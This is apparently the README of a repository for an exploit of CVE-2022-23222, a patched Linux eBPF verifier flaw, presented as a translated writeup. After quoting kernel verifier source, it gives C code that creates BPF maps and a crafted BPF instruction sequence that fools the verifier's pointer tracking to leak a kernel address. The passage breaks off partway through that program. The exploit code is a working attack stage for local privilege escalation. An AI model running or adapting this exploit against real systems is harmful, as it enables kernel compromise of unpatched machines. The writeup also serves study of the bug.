fridayortiz/cve-2022-23222CVE-2022-23222, managed with Rust.
Click here if you just wanna build and run the dang thing. What follows is more or less a translation of the Chinese writeup, available here.
We'll use the mainline kernel code for version 5.13.0 as a reference.
There is a mismatch in available pointer types and the function that checks their bounds.
This mismatch was first introduced in Linux 5.8 and has since been patched.
The list of available pointer types is
available here.
/* types of values stored in eBPF registers */
/* Pointer types represent:
* pointer
* pointer + imm
* pointer + (u16) var
* pointer + (u16) var + imm
* if (range > 0) then [ptr, ptr + range - off) is safe to access
* if (id > 0) means that some 'var' was added
* if (off > 0) means that 'imm' was added
*/
enum bpf_reg_type {
NOT_INIT = 0, /* nothing was written into register */
SCALAR_VALUE, /* reg doesn't contain a valid pointer */
PTR_TO_CTX, /* reg points to bpf_context */
CONST_PTR_TO_MAP, /* reg points to struct bpf_map */
PTR_TO_MAP_VALUE, /* reg points to map element value */
PTR_TO_MAP_VALUE_OR_NULL,/* points to map elem value or NULL */
PTR_TO_STACK, /* reg == frame_pointer + offset */
PTR_TO_PACKET_META, /* skb->data - meta_len */
PTR_TO_PACKET, /* reg points to skb->data */
PTR_TO_PACKET_END, /* skb->data + headlen */
PTR_TO_FLOW_KEYS, /* reg points to bpf_flow_keys */
PTR_TO_SOCKET, /* reg points to struct bpf_sock */
PTR_TO_SOCKET_OR_NULL, /* reg points to struct bpf_sock or NULL */
PTR_TO_SOCK_COMMON, /* reg points to sock_common */
PTR_TO_SOCK_COMMON_OR_NULL, /* reg points to sock_common or NULL */
PTR_TO_TCP_SOCK, /* reg points to struct tcp_sock */
PTR_TO_TCP_SOCK_OR_NULL, /* reg points to struct tcp_sock or NULL */
PTR_TO_TP_BUFFER, /* reg points to a writable raw tp's buffer */
PTR_TO_XDP_SOCK, /* reg points to struct xdp_sock */
// ... omitted ...
PTR_TO_BTF_ID,
PTR_TO_BTF_ID_OR_NULL,
PTR_TO_MEM, /* reg points to valid memory region */
PTR_TO_MEM_OR_NULL, /* reg points to valid memory region or NULL */
PTR_TO_RDONLY_BUF, /* reg points to a readonly buffer */
PTR_TO_RDONLY_BUF_OR_NULL, /* reg points to a readonly buffer or NULL */
PTR_TO_RDWR_BUF, /* reg points to a read/write buffer */
PTR_TO_RDWR_BUF_OR_NULL, /* reg points to a read/write buffer or NULL */
PTR_TO_PERCPU_BTF_ID, /* reg points to a percpu kernel variable */
PTR_TO_FUNC, /* reg points to a bpf program function */
PTR_TO_MAP_KEY, /* reg points to a map element key */
__BPF_REG_TYPE_MAX,
};
As you can see, there are a number of _OR_NULL pointer types that are used when a pointer might
be... null. The verifier will generally only let you do a null check at this point, or as an argument
in some functions. The following function,
available here,
is responsible for tracking and checking pointer boundaries.
/* Handles arithmetic on a pointer and a scalar: computes new min/max and var_off.
* Caller should also handle BPF_MOV case separately.
* If we return -EACCES, caller may want to try again treating pointer as a
* scalar. So we only emit a diagnostic if !env->allow_ptr_leaks.
*/
static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
const struct bpf_reg_state *ptr_reg,
const struct bpf_reg_state *off_reg)
{
// ... omitted ...
switch (ptr_reg->type) {
case PTR_TO_MAP_VALUE_OR_NULL:
verbose(env, "R%d pointer arithmetic on %s prohibited, null-check it first\n",
dst, reg_type_str[ptr_reg->type]);
return -EACCES;
case CONST_PTR_TO_MAP:
/* smin_val represents the known value */
if (known && smin_val == 0 && opcode == BPF_ADD)
break;
fallthrough;
case PTR_TO_PACKET_END:
case PTR_TO_SOCKET:
case PTR_TO_SOCKET_OR_NULL:
case PTR_TO_SOCK_COMMON:
case PTR_TO_SOCK_COMMON_OR_NULL:
case PTR_TO_TCP_SOCK:
case PTR_TO_TCP_SOCK_OR_NULL:
case PTR_TO_XDP_SOCK:
verbose(env, "R%d pointer arithmetic on %s prohibited\n",
dst, reg_type_str[ptr_reg->type]);
return -EACCES;
default:
break;
}
// ... omitted ...
return 0;
}
Unfortunately, this list is missing some types. Specifically,
PTR_TO_BTF_ID, PTR_TO_BTF_ID_OR_NULL, PTR_TO_MEM,
PTR_TO_MEM_OR_NULL, PTR_TO_RDONLY_BUF, PTR_TO_RDONLY_BUF_OR_NULL,
PTR_TO_RDWR_BUF, and PTR_TO_RDWR_BUF_OR_NULL. By using the RINGBUF
map type, we can create a PTR_TO_MEM_OR_NULL which will allow us to perform
arithmetic when we shouldn't.
First, we create two maps. The ARRAY map will be used to passing information
between userspace and the BPF program. The RINGBUF map will be used to give
a register the exploitable pointer type.
int create_bpf_maps(context_t *ctx)
{
int ret = 0;
ret = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(u32), PAGE_SIZE, 1);
if (ret < 0) {
WARNF("Failed to create comm map: %d (%s)", ret, strerror(-ret));
return ret;
}
ctx->comm_fd = ret;
if ((ret = bpf_create_map(BPF_MAP_TYPE_RINGBUF, 0, 0, PAGE_SIZE)) < 0) {
WARNF("Could not create ringbuf map: %d (%s)", ret, strerror(-ret));
return ret;
}
ctx->ringbuf_fd = ret;
return 0;
}
Now, we load and run a specially crafted BPF program which will first,
save the kernelspace address of the ARRAY map address to the BPF stack,
and then leverage the pointer oversight from before to nullify the last byte of
that address. The verifier will think we're reading from the start of the
array, but we're really reading a few bytes lower, which should (hopefully) give
us a kernel address.
int do_leak(context_t *ctx)
{
int ret = -1;
struct bpf_insn insn[] = {
// r9 = r1
BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),
// r0 = bpf_lookup_elem(ctx->comm_fd, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
// if (r0 == NULL) exit(1)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
BPF_MOV64_IMM(BPF_REG_0, 1),
BPF_EXIT_INSN(),
// r8 = r0
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),
// r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, PAGE_SIZE, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_fd),
BPF_MOV64_IMM(BPF_REG_2, PAGE_SIZE),
BPF_MOV64_IMM(BPF_REG_3, 0x00),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),
// this is where the verifier loses track of r1
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),
// if (r0 != NULL) { ringbuf_discard(r0, 1); exit(2); }
BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 5),
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
BPF_MOV64_IMM(BPF_REG_2, 1),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),
BPF_MOV64_IMM(BPF_REG_0, 2),
BPF_EXIT_INSN(),
// verifier believe r0 = 0 and r1 = 0. However, r0 = 0 and r1 = 1 on runtime.
// r7 = r1 + 8
BPF_MOV64_REG(BPF_REG_7, BPF_REG_1),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 8),
// verifier believe r7 = 8, but r7 = 9 actually.
// store the array pointer (0xFFFF..........10 + 0xE0)
BPF_MOV64_REG(BPF_REG_6, BPF_REG_8),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0xE0),
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_6, -8),
// partial overwrite array pointer on stack